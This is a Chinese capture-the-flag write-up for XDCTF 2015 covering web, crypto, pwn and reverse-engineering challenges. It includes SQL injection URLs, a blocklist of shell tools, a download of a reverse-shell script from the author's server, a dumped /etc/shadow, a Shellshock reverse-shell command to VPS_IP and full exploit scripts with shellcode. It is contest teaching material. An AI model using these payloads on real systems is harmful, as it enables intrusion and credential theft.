第六届西电信息安全大赛XDCTF2015 WriteUp

2015-10-07 23,326

比赛介绍 见安全脉搏:2015年第六届全国网络安全大赛(XDCTF)

top10

web1-100

坑。。
http://133.130.90.172/5008e9a6ea2ab282a9d646befa70d53a/index.php?test=aaaa
看题意。 。 。 以为要找一个hash和5008e9a6ea2ab282a9d646befa70d53a
一样。。。
爆破俩小时、、、无果
御剑扫路径 得到
http://133.130.90.172/5008e9a6ea2ab282a9d646befa70d53a/index.php~
右键源码
PHPJM加密后的php文件 解密

web1_100
双= 弱类型
zone里面ph牛已经给了答案
http://zone.wooyun.org/content/20172

web1_100_2

随便拿其中一个就行了。

<?php 
var_dump(md5('240610708') == md5('QNKCDZO')); 
var_dump(md5('aabg7XSs') == md5('aabC9RqS')); 
?>

http://133.130.90.172/5008e9a6ea2ab282a9d646befa70d53a/index.php?test=240610708
出flag
web1_flag

web1-200

http://flagbox-23031374.xdctf.win:1234/

先查看页面源码,发现一个examples目录。

http://flagbox-23031374.xdctf.win:1234//examples/ 进去发现要登录,提示说

Let Me Guess.. U 4re N0t Administrator!!!

然后尝试了很久的注入,并没有成功。然后放到扫描器里面一扫,有惊喜。

web1-200-1

 

http://flagbox-23031374.xdctf.win:1234/examples/servlets/servlet/SessionExample

看到这个之后,就觉得是session操作。然后输入user=Administrator

web1-200-2

 

然后提示,not login。然后把login改为1。在这个点的时候,我尝试了很多改cookie啥的。发现总是不行。

后面发现要把login改为true,也是醉了。

web1-200-3

web1-300

http://133.130.90.188/

这是一个ssrf,一去进去就是一个框框。直接尝试file://index.php 然后就把index.php的源码读到了。

<?php
        if (isset($_GET['link'])) {
            $link = $_GET['link'];
            // disable sleep
            if (strpos(strtolower($link), 'sleep') || strpos(strtolower($link), 'benchmark')) {
                die('No sleep.');
            }

            if (strpos($link,"http://") === 0) {
                // http
                $curlobj = curl_init($link);
                curl_setopt($curlobj, CURLOPT_HEADER, 0);
                curl_setopt($curlobj, CURLOPT_PROTOCOLS, CURLPROTO_HTTP);
                curl_setopt($curlobj, CURLOPT_CONNECTTIMEOUT, 10);
                curl_setopt($curlobj, CURLOPT_TIMEOUT, 5);
                $content = curl_exec($curlobj);
                curl_close($curlobj);
                echo $content;

            } elseif (strpos($link,"file://") === 0) {
                // file
                echo file_get_contents(substr($link, 7));
            }

        } else {
            echo<<<EOF
        <!--你瞅啥-->

然后继续读取文件。读hosts文件

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
127.0.0.1    9bd5688225d90ff2a06e2ee1f1665f40.xdctf.com

然后看到一个绑定hosts的地址。然后去访问发现就是这个页面,看到这个经验告诉我这上面肯定还有其他的网站,不然没有必要绑定host。然后就想去读nginx的配置文件,fuzz了很久都没读取到。后面就想想会不会是在其他的端口,然后开burp爆破。

web1-300-1

 

好 家伙,果然有猫腻。3389端口是个dz7.2.然后打了一发faq的注入,发现不行。然后还是回到死胡同去猜文件路径,然后去读uc key。因为我以为uckey就是flag。后面再这里卡了很久,然后最后发现faq注入没成功的原因是因为编码问题,需要urlencode一下。这个 解决后,那就直接上sqlmap跑。最后发现admin的密码就是flag

web1-300-2

web1-400

这个题目是给了提示之后才做出来的,给的提示是” 然后就去测试,其中在那个图片内容最下面提示你

<!--Please input the ID as parameter with numeric value-->

先测试
http://133.130.90.172/47bce5c74f589f4867dbd57e9ca9f808/Picture.php?ID=3“ or 1%23
返回图片
http://133.130.90.172/47bce5c74f589f4867dbd57e9ca9f808/Picture.php?ID=3“ or 0%23
返回Picture not found!
很明显这是一个盲注。然后继续测试,发现过滤了很多东西,一旦出现select substr left right ascii mid
这些关键字是永真。然后一直在fuzz,最后发现学长写的一篇文章http://laterain.sinaapp.com/?p=196 提到了一种正则盲注的方法

http://133.130.90.172/47bce5c74f589f4867dbd57e9ca9f808/Picture.php?ID=3" or user() REGEXP '^1' %23 为假
http://133.130.90.172/47bce5c74f589f4867dbd57e9ca9f808/Picture.php?ID=3" or user() REGEXP '^x' %23 为真

说明user()是以x开头。然后就这样猜解。但是到后面准备猜解其他表的内容,要用到select。但是这个是直接匹配的select,并不是检查的连接处。后面想起这个案例
http://www.wooyun.org/bugs/wooyun-2015-0101960
会不会我们要猜的数据就和当前的数据在同一个表里面呢。
然后经过一顿fuzz之后,好家伙果然就是这个。

http://133.130.90.172/47bce5c74f589f4867dbd57e9ca9f808/Picture.php?ID=3" or password REGEXP '^1' %23  为假
http://133.130.90.172/47bce5c74f589f4867dbd57e9ca9f808/Picture.php?ID=3" or password REGEXP '^5' %23 为真

说明password字段的第一个值为5开头。然后就这样一直跑最后得到hash 5832f4251cb6f43917df
二十位的hash让我想起了dede,然后去掉前三后一解密

2f4251cb6f43917d    md5    lu5631209

然后登陆拿到flag

web1-400

web2-200

发现有git泄露,然后用脚本下载

./rip-git.pl -v -u http://xdsec-cms-12023458.xdctf.win/

然后恢复源码

git log

git reset -hard d16ecb1

然后在index.php里面发现flag

Congratulation, this is the [XDSEC-CMS] flag 1

XDCTF-{raGWvWahqZjww4RdHN90}

web2-100

看到了hint

100 前台逻辑漏洞,做出此题可获得进入300的钥匙

然后又发现有人在ph这个用户里面发文章。觉得就是在找回密码这一块有问题,然后仔细看这一块的代码。
发现两个关键点

public function handle_resetpwd()
    {
        if(empty($_GET["email"]) || empty($_GET["verify"])) {
            $this->error("Bad request", site_url("auth/forgetpwd"));
        }
        $user = $this->user->get_user(I("get.email"), "email");
        if(I('get.verify') != $user['verify']) {
            $this->error("Your verify code is error", site_url('auth/forgetpwd'));
        }
        if($this->input->method() == "post") {
            $password = I("post.password");
            if(!$this->confirm_password($password)) {
                $this->error("Confirm password error");
            }
            if(!$this->complex_password($password)) {
                $this->error("Password must have at least one alpha and one number");
            }
            if(strlen($password) < 8) {
                $this->error("The Password field must be at least 8 characters in length");
            }
            $this->user->update_userinfo([
                "password" => $password,
                "verify" => null
            ], $user["uid"]);
            $this->success("Password update successful!", site_url("auth/login"));
        } else {
            $url = site_url("auth/resetpwd") . "?email={$user['email']}&verify={$user['verify']}";
            $this->view("resetpwd.html", ["form_url" => $url]);
        }
    }

在这个函数里面首先我们要过这个判断

if(empty($_GET["email"]) || empty($_GET["verify"])) {
            $this->error("Bad request", site_url("auth/forgetpwd"));
        }

email在源码中给出来了

<meta name="author" content="xdsec-cms@xdctf.com"/>

然后verify这个是找回密码的一个验证key。其生成方式是md5(uniqid(mt_rand())),开始想着是不是这个值可以预测,然后决定自己太天真了。我们继续往下面看代码

$this->user->update_userinfo([
                "password" => $password,
                "verify" => null
            ], $user["uid"]);

这段代码说明,每次在找回密码之后都会把verify重置为NULL。好家伙,感觉问题的关键就在这里了。然后我自己写一段测试代码

<?php
$conn = mysql_connect("127.0.0.1","root","");

mysql_select_db("mysql", $conn);

$sql1 = "update `user` SET password = NULL where host = 'locathost' ";

$sql2 = "select password from user where host='localhost' limit 1,1";

mysql_query($sql1);

$result = mysql_query($sql2);

while($row = mysql_fetch_array($result))
  {
    var_dump($row['password']);
  }

$id = @$_GET['id'];

if($id == $row['password']){

  echo 'success';

}
?>

当我id穿入一个空格的是时候打印的是success,这就证明php在做比较的时候把空格和NULL相等了。

然后回到CMS里面,我们将verify赋为空格,然后成功重置ph用户的密码。

web2-100

 

登录进去之后就发现了flag

其实发现网站上的源码和本地的源码不一样,因为我点击找回密码之后。应该生成了一个verify到数据,但是这个时候数据库的verify并没有生成。因为我通过空格还是成功修改了密码。

web2-100-2

 

Misc100

根据官方提示braiontools github下载下来,按照帮助手册
bftools.exe decode braincopter zzzzzyu.png --output --out.png
根据提示上github找源码.. 编译之后 –help看一下使用方式
两行命令就可以出flag

misc_100

misc_100_2

Misc200

提示是zip,查阅了资料大概是 zip已知明文攻击
还原可以得到readme.txt的内容,接下来用

misc-200-1
这个软件或者PKCrack都可以..
得到flag

misc-200-2

MISC500

扫描 ctf.kfd.me 的端口,发现 31337 是服务端口,nc 连上之后看到提示:
Do you know what's the most useful command in linux?
可知道是 man 命令,man 命令的-P 参数可以执行其他命令.
执行 man -P set & 可以看到程序相关的逻辑代码:
check_lenth ()
{
count=$(echo $1 | wc -m);
if [[ $count -gt $2 ]]; then
echo "Argument too long, 40 limit.";
exit 2;
fi
}
clean_up ()
{
if [[ -z $chat_room ]]; then
cat bye;
exit;
else
echo -e "\033[1;34m$msg_date\033[0m\033[1;31m $username
\033[0m\033[1;34mleaved room\033[0m \033[1;36m \"$room_name\"
\033[0m" >> $chat_room;
cat bye;
exit;
fi
}
hander ()
{
m_cmd=$1;
m_option=$2;
m_selfcmd=$@;
if [[ $m_cmd == 'man' ]]; then
if [[ $m_option == '-P' ]]; then
if [[ -n `echo $m_selfcmd | grep "\""` && `echo $m_selfcmd
| cut -d "\"" -f 3` != '' ]]; then
m_selfcmd=`echo $m_selfcmd | cut -d "\"" -f 2`;
else
if [[ -n `echo $m_selfcmd | grep "'"` && `echo $m_selfcmd
| cut -d "'" -f 3` != '' ]]; then
m_selfcmd=`echo $m_selfcmd | cut -d "'" -f 2`;
else
if [[ $3 == '' ]]; then
echo "man: option requires an argument -- 'P'
Try 'man --help' or 'man --usage' for more information.";
fi;
[[ $4 != '' ]] && m_selfcmd=$3 || echo "What manual
page do you want?";
fi;
fi;
if [[ $m_selfcmd == 'whoami' ]]; then
echo "root";
else
if [[ -n `echo $m_selfcmd | grep -E
"vim|vi|sh|kill|pkill|socat|nc|ncat|nmap|rm|chmod|passwd|etc|root|exp
ort|PATH"` ]]; then
echo "No way.";
else
`$m_selfcmd > m_return` &> /dev/null;
cat m_return;
fi;
fi;
else
if [[ $m_option != '' ]]; then
if [[ `man $m_option` == '' ]]; then
echo "man: option requires an argument --'$m_option'
Try 'man --help' or 'man --usage' for more information.
";
else
`man $m_option > tmp` &> /dev/null;
cat tmp;
fi;
else
echo "What manual page do you want?";
fi;
fi;
else
echo "invalid command";
fi
}
分析代码后发现可以用 man -P "命令" &的方式执行任意命令(前提是命令内容
不能包含
:vim|vi|sh|kill|pkill|socat|nc|ncat|
nmap|rm|chmod|passwd|etc|root|export|PATH 这些字段)
于是继续:
man -P "ls -al" & 可以看到有一个 flag?目录
man -P "ls -al flag\?/" & 可以看到 flag.php 的大小跟其他的不一样
man -P "cat flag\?/flag.php" & 可以看到 Oh, by the way, follow my shadow.
的提示
猜测是查看/etc/shadow 但是命令中不能包含 etc 字段,于是
man -P "curl -o /tmp/1 xx.xx.xx.xx/1" & 从我的 vps 上下载一个 python 的
反弹 shell 的脚本.
man -P "python /tmp/1" & 执行脚本,成功拿到 shell
通过反弹的 shell 查看/etc/shadow 得到:
root:$6$ZuPfdsng$eN.xStmAbo5SCRQ**bHpA6wtrZisadNJn9lOE./2ks3C.vUVxnKJ
AUIZM6PA7IEphcTgOzo4wOBz.wwD9CSDJ1:16709:0:99999:7:::
daemon:*:16661:0:99999:7:::
bin:*:16661:0:99999:7:::
sys:*:16661:0:99999:7:::
sync:*:16661:0:99999:7:::
games:*:16661:0:99999:7:::
man:*:16661:0:99999:7:::
lp:*:16661:0:99999:7:::
mail:*:16661:0:99999:7:::
news:*:16661:0:99999:7:::
uucp:*:16661:0:99999:7:::
proxy:*:16661:0:99999:7:::
www-data:*:16661:0:99999:7:::
backup:*:16661:0:99999:7:::
list:*:16661:0:99999:7:::
irc:*:16661:0:99999:7:::
gnats:*:16661:0:99999:7:::
nobody:*:16661:0:99999:7:::
libuuid:!:16661:0:99999:7:::
syslog:*:16661:0:99999:7:::
nei***or-old-wang:$6$5/yy2vJZ$Xp1MZOp4D5squxZLmgN4TLV5ktfUP2LD5Rp6l07
lzyUCEES97px/a1EoIM8ZjygGrXdUDYGcoD9lGiCigosdI/:16710:0:99999:7:::
ctf:$6$tcSIbi8j$lDog8sNj0U0m.LuAy8u/MRInv9UP33HQTcPhvHFfSTgDajN.4HGJo
pG1PKMqOYVE7MdhDSlN6K/4DzNrEhy5D1:16709:0:99999:7:::
sshd:*:16701:0:99999:7:::
扔到 john 里跑一下,得到 nei***or-old-wang 的密码为 666666
ssh 连上之后查看.bash_history 文件
发现让从 www.flag.com 里面找 flag,
从/etc/hosts 里发现 www.flag.com 指向的 172.17.0.1
而本机是 172.17.0.4 不是一台机器
于是 curl www.flag.com
看到一段 JS 脚本:
function status() {
$.getJSON("/cgi-bin/status", function (data) {
$.each( data, function( key, val ) {
$('#infos').append ( "<li><b>"+key+"</b>: " + val +
"</li>" );
});
});
}
看到/cgi-bin/status,感觉是 Shellshock 漏洞,
执行
curl -H 'x: () { :;}; /bin/bash -i >& /dev/tcp/VPS_IP/8899 0>&1'
http://www.flag.com/cgi-bin/status
成功得到第二台主机的 shell
cat /etc/passwd 得到最终 flag:
xdctf{where_there_is_a_shell_there_is_a_way}

 

CRYPTO-200:

字节翻转攻击,我们只需要构造出一个密文,使得密文的明文里面有;admin=true 即可,然
而;被过滤了,所以要通过字节翻转攻击来构造出;。
首先通过 parse 的字节递增来利用逻辑得到每一个 block 的大小为 16,然后他前置的字节数
是 32 所以我们使输入的字节为:0admin=true,然后利用字节翻转攻击,在第二个 block 的
第一个字节的值异或上’0’再亦或上’;’就可以达到在密文被解密的时候出现;admin=true 字
样。

__author__ = 'bibi'
#nc 133.130.52.128 6666
from zio import *
#io=zio(("133.130.52.128",6666))

def attack():
	prefix = "comment1=wowsuch%20CBC;userdata="#32
	suffix = ";coment2=%20suchsafe%20very%20encryptwowww"#42
	print len(prefix)
	print len(suffix)
	need="0admin=true"
	
	io=zio(("133.130.52.128",6666))
	io.write("mkprof:"+need+"\n")
	chushi=io.read_until("\n")
	print chushi
	
	e=chr(ord((chushi[16*2]+chushi[16*2+1]).decode("hex"))^ ord('0') ^
	ord(';')).encode("hex")
	print e
	cc=chushi[0:16*2]+e+chushi[16*2+2:-1]
	io=zio(("133.130.52.128",6666))
	io.write("parse:"+cc+"\n")
	io.read_until("\n")
	print len(chushi)/2
attack()
'''
for l in range(5,0xff):
	io=zio(("133.130.52.128",6666))
	test="aa"*l
	io.write("parse:"+test+"\n")
	io.read_until("\n")
	raw_input()
'''
#print len("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")/2

pwn100

用瀚海源的 文件b超.
https://b-chao.com/
pwn100_1

pwn200

漏洞很明显,但没有libc,之前想着dump内存,把libc dump出来的,没弄好,后来找了个模板改下了就好了.

dl-resolve-i386.py

pwn300

程序自己写了个堆管理,然后有个堆溢出.通过edit修改堆的类型即可覆盖下一个堆的结构,接着用del阔以修改4个字节.

利用的话:
1:先修改存堆地址的那部分,0x0804b060,通过show_girl()来泄露堆地址
2:在堆里放shellcode,然后修改got_exit()指向shellcode

 

漏洞:
在 edit 功能中可以重新设置新的 type 值,导致堆溢出。
利用:
这块堆是程序自己维护的堆。堆头部包含 12 字节,大致如下。
struct heap_header
{
+0 size
+4 *next
+8 *prev
}
存在一个双链表,同时程序没有开启 NX,所以可以通过伪造堆头,在 delete 时实现任
意地址写任意数据。
Ps:程序在 delete 函数中有如下代码,不过感觉出题人写错了函数。堆头为 0xc 字节,
V2=a1-0xc 才对。题目给出的程序连个正常的 delete 功能都没有。

pwn300
脚本如下:

from zio import *
target = './pwn3'
target = ('133.130.90.210', 6666)


def add(io, type):
    io.read_until('ce:')
    io.writeline('1')
    io.read_until(':')
    io.writeline(str(type))
    
def edit(io, id, type, buf):
    io.read_until('ce:')
    io.writeline('3')
    io.read_until(':')
    io.writeline(str(id))
    io.read_until(':')
    io.writeline(str(type))
    io.read_until(':')
    io.write(buf)
    
def delete(io, id):
    io.read_until('ce:')
    io.writeline('2')
    io.read_until(':')
    io.writeline(str(id))
    
def show(io, id):
    io.read_until('ce:')
    io.writeline('4')
    io.read_until(':')
    io.writeline(str(id))
    io.read_until('bbbb')
    heap_ptr = l32(io.read(4))
    print hex(heap_ptr)
    return heap_ptr

def exp(target):
    #io = zio(target, timeout=10000, print_read=COLORED(REPR, 'red'),
    print_write=COLORED(REPR, 'green'))
    io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'),
    print_write=COLORED(RAW, 'green'))
    add(io, 0) #0x0804d01c
    add(io, 0) #0x0804d09c
    edit(io, 0, 1, 'a'*0x74+'bbbb')
    heap_ptr = show(io, 0)
    put_got = 0x0804B014
    shellcode3 = "\xeb\x1e"
    shellcode3 = shellcode3.ljust(0x20, 'a')
    shellcode3 +=
    "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\
    xcd\x80"
    shellcode3 = shellcode3.ljust(0x70, 'a')
    io.gdb_hint()
    edit(io, 0, 1, shellcode3+l32(0x81)+l32(heap_ptr-0x0804d110+0x0804d01c)+l32(put_got-4))
    delete(io, 1)
    io.interact()
exp(target)

pwn400

整型溢出
如下图所示,在sub_8048c86()的函数调用中,v13 是个2字节的变量,并且是可控的,前面的判断逻辑即可使(v13+2)溢出来绕过
pwn400_1

在sub_8048c86中,这里传递n是一个大数,就阔以读取到flag了.
pwn400_2

脚本如下:

from zio import *
	target = ('159.203.87.2', 8888)
	#target = ('127.0.0.1',8888)
def exp(target):
	#io = zio(target, timeout=10000, print_read=COLORED(REPR, 'red'),
	print_write=COLORED(REPR, 'green'))
	io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'),
	print_write=COLORED(RAW, 'green'))
	data = 'a'*0x15
	data += 'PK\x01\x02'
	data += 0x18*'a'
	data += l16(0xffff)
	data=data.ljust(0x45, 'a')
	io.writeline(data)
	io.interact()

Pwn500

漏洞:
1. 在 take_exam 中, 程序创建了一个子进程来让用户输入 essay, 不过其中存在一个栈溢出。
分配的空间大小为 96,但是最多能读入 104,溢出 8 个字节,只能覆盖到 rbp,并不能
覆盖到 rip。同时子进程很快就调用 exit 退出了。看起来并没有什么卵用。但是如果因为
栈溢出导致子进程提前崩溃,那么子进程写入到文件中的字节数将为 0。
2. 在 resit 中,v3 对应结构体如下:
struct exam_info{
+0 type
+4 real_len
+8 want_len
+16 *essay
+24 sub_4013f0
}
程序调用 sub_4013f0处的函数, 里面如果考试成绩小于60, 就会将对应的 essay 内存 free
掉。而当 real_len=0 时,*essay 指针不会被清 0,指向被释放的内存。而 real_len 为子进
程写入文件中的字节个数,在栈溢出的情况下可以为 0.
3. 通过 uaf 伪造 v3 结构,可以达到控制函数指针,同时能控制第一个参数所指向内存中的
内容。
使用 printf(“%11$p”)格式化,可以泄露栈上的 libc_start_main 函数。
然后通过 system(“/bin/sh”)拿到 shell。
Ps: v3 结构体实际只用到了 32 字节,但是程序申请大小时大小为 0x68,使得重新申请时,
刚好能占用刚 free 的内存,实现 uaf。
脚本如下:

from zio import *
	target = './pwn5-jwc'
	target = ('128.199.232.78', 5432)
	
def register(io, name, intro):
	io.read_until('exit\n')
	io.writeline('1')
	io.read_until('\n')
	io.writeline(name)
	io.read_until('\n')
	io.writeline(intro)
	
def exam(io, len, essay):
	io.read_until('exit\n')
	io.writeline('2')
	io.read_until('dota\n')
	io.writeline('1')
	io.read_until('?\n')
	io.writeline(str(len))
	io.read_until('OK')
	io.write(essay)
	io.write('\n')
	
def resit(io):
	io.read_until('exit\n')
	io.writeline('5')
	io.read_until('dota\n')
	io.writeline('1')
	
def exam2(io, len, essay):
	io.read_until('exit\n')
	io.writeline('2')
	io.read_until('dota\n')
	io.writeline('2')
	io.read_until('?\n')
	io.writeline(str(len))
	io.read_until('OK')
	io.write(essay)
	io.write('\n')
	
def cheat(io, payload):
	io.read_until('exit\n')
	io.writeline('1024')
	io.writeline('1')
	io.writeline(payload)
	
def leak(io):
	io.read_until('exit\n')
	io.writeline('3')
	io.read_until('0\n')
	libc_main = int(io.read_until('english').split('english')[0], 16)
	print hex(libc_main)
	libc_base = -0x7ffff7a36ec5 + 0x00007ffff7a15000 + libc_main
	print hex(libc_base)
	return libc_base
	
def exp(target):
	#io = zio(target, timeout=10000, print_read=COLORED(REPR, 'red'),
	print_write=COLORED(REPR, 'green'))
	io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'),
	print_write=COLORED(RAW, 'green'))
	register(io, 'ling', 'abcd')
	exam(io, 104, 'a'*104)
	resit(io)
	exam2(io, 50, 'a'*50)
	payload = "%11$p"
	payload = payload.ljust(0x18,'\x00')
	payload += l64(0x00000000004009B0)
	cheat(io, payload)
	libc_base = leak(io)
	system = libc_base - 0x00007ffff7a15000 + 0x7ffff7a5b640
	print hex(system)
	payload = "/bin/sh;"
	payload = payload.ljust(0x18,'\x00')
	payload += l64(system)
	cheat(io, payload)
	io.writeline('3')
	io.interact()
	
exp(target)

Re100

运行起来main函数有个ptrace反调试,修改返回值过了。之后输入的12位字符串 与”ZzAwZF9DcjRrM3JfZzBfb24=”循环异或再异或7,通过这个函数计算最后获得的返回是Congratulations? Key is XDCTF{Input},是个问号,在.fini_array中还有一个相似的函数再进行一次验证,这次验证成功后会把问号改成感叹号,所以正在的验证 应该是.fini_array中的。而两个函数的差别就是第一个要异或7,.fini_array中的不异或7.

Re100-1

第二步位置变换

Re100-2

第三步判断异或之后如果小于0x1f,就加0x20

Re100-3

最 后结果与[0x3B, 0x25, 0x23, 0x38, 0x34, 0x38, 0x4E, 0x21, 0x30, 0x5A, 0x3F, 0x37, 0x27, 0x25, 0x32, 0x33, 0x5D, 0x2F, 0x35, 0x23, 0x31, 0x22, 0x59, 0x58]比较

解密代码:

#coding=utf-8


key = [0x3B, 0x25, 0x23, 0x38, 0x34, 0x38, 0x4E, 0x21, 0x30, 0x5A, 0x3F, 0x37, 0x27, 0x25, 0x32, 0x33, 0x5D, 0x2F, 0x35, 0x23, 0x31, 0x22, 0x59, 0x58]
res = ""
key2 = "ZzAwZF9DcjRrM3JfZzBfb24="

for i in range(24):
    if key[i] > 0x1f and key[i] <= 0x3f:
        key[i] = key[i] - 0x20

print key
for i in range(12):
    tmp = key[i]
    key[i] = key[17 - i]
    key[17 - i] = tmp

print key
print key2

for i in range(12):
    res += chr(key[i] ^ ord(key2[i]))


print res
print len(res)


转为小写即可

Re200

代码加密保存,运行时解密,首先ida找到被加密代码的地方,od运行起来之后代码被解密,下断,第二次运行时先禁用断点,运行起来,激活断点就可以断在比较XDCTF的地方

Re200-1

根据代码一部分一部分修正输入即可复原处flag

Re200-2

flag: XDCTF{Congra_tUlat$eyOu}

Re400

输入的name,key全转为大写

计算machine code

Re400-1

通过name计算一个35位的key

Re400-2

把machine code、name计算得到的key和输入的key转存在这里,每个字符用一个dword存放

Re400-3

变换name计算出的key的顺序

Re400-4

通过machine code计算出一块数据(a)
Re400-5

触发异常,进入SEH

Re400-6

检测CC断点

Re400-7

用代码段的代码的二进制填充一段缓冲区

Re400-8

上一步提到的缓冲区经过运算变形(b)

Re400-9

通过之前的数据(a)(b)计算查表得到最终的注册码

Re400-10

 

Re500

很快定位到关键代码。

Rev500
经过分析,程序调用的 3 个 GetDlgItemTextA 中只有第一个是有用的,另外两个没用,只会
导致程序提前推出,需要通过 patch 或者通过调试器跳过那两个函数调用。
之后就是纯分析算法了。
程序中使用了很多浮点指令,通过调试器查看内存,大概也能理清楚。
程序中有个 des 解密函数,并且在解密前后作者打印出了明文和密文。
最后函数过程大致如下:

from zio import *
import pyDes

input = '12345678901234567890123456789012'
plain_text = UNHEX(input)
print len(plain_text)
key = "\x34\x45\x86\x99\x1a\x4b\xcd\xa5"
des = pyDes.des(key)
crypt_text = (des.decrypt(plain_text))
print len(crypt_text)
#need crypt_text[0x10:0x18] == '\x08' * 8
final = ''
for i in range(16):
	index = (i + 2) % 16
	final += crypt_text[index:index + 1]
final2 = ''
for i in range(16):
	final2 += chr(l8(final[i:i+1])^0xe4)
#need final2 == mc

写了个逆向过程:

from zio import *
import pyDes
mc = UNHEX('D85EB0EEE39E5DFE6279FFC555AC8621')
final = ''
for i in range(16):
	final += chr(l8(mc[i:i+1])^0xe4)
crypt_text = final[2:16]+final[0:2]
crypt_text += '\x08'*8
key = "\x34\x45\x86\x99\x1a\x4b\xcd\xa5"
des = pyDes.des(key)
plain_text = des.encrypt(crypt_text)
print len(plain_text)
print HEX(plain_text).upper()

关注往年战题,2014年第五届全国网络安全大赛(XDCTF)参见:XDCTF2014 Writeup之Web和Crack篇

【作者:InkSec & syclover  安全脉搏SP小编整理编辑发布

本文作者:SP胖编

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/38544.html

Tags:
评论  (2)
快来写下你的想法吧!

SP胖编

文章数:59 积分: 0

神器 神器 神器

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号